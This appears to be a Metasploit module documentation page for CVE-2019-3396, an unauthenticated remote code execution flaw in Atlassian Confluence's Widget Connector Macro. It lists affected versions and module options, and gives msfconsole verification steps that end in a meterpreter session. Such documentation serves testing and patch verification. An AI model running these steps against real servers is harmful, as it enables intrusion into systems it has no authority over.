List of CVEs: CVE-2019-3396
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that allows embed online videos, slideshows, photostreams and more directly into page. A _template parameter can be used to inject remote Java code into a Velocity template, and gain code execution. Authentication is unrequired to exploit this vulnerability. By default, Java payload will be used because it is cross-platform, but you can also specify which native payload you want (Linux or Windows). Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. This vulnerability was originally discovered by Daniil Dmitriev https://twitter.com/ddv_ua.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Knowledge Base
Description
This module exploits a Velocity Template Injection in Atlassian Confluence Widget Connector Macro before 6.14.2 to execute arbitrary code (CVE-2019-3396). No authentication is required to exploit this vulnerability.
The vulnerability exists in the Widget Connector Macro which allow inject the "_template" from the outside for some services, such as Youtube, Viddler, DailyMotion, etc.
The module has been tested with on Atlassian Confluence 6.6.12, 6.8.2, 6.12.0 and 6.13.0 using Java, Windows and Linux meterpreter payload.

Vulnerable Application
Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2.
Verification Steps
- [ ] Setting up a working installation of Atlassian Confluence before 6.6.13, 6.12.3, 6.12.3 or 6.14.2.
- [ ] Start
msfconsole - [ ]
use exploit/multi/http/confluence_widget_connector - [ ]
set RHOST <IP> - [ ]
set RPORT <PORT> - [ ]
set SRVHOST <HOST_IP> - [ ]
check - [ ] You should see
The target is vulnerable - [ ]
exploit - [ ] You should get a meterpreter session.
Options
- TARGETURI: Path to Atlassian Confluence installation ("/" is the default)
- TRIGGERURL: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=kxopViU98Xo" is the default)
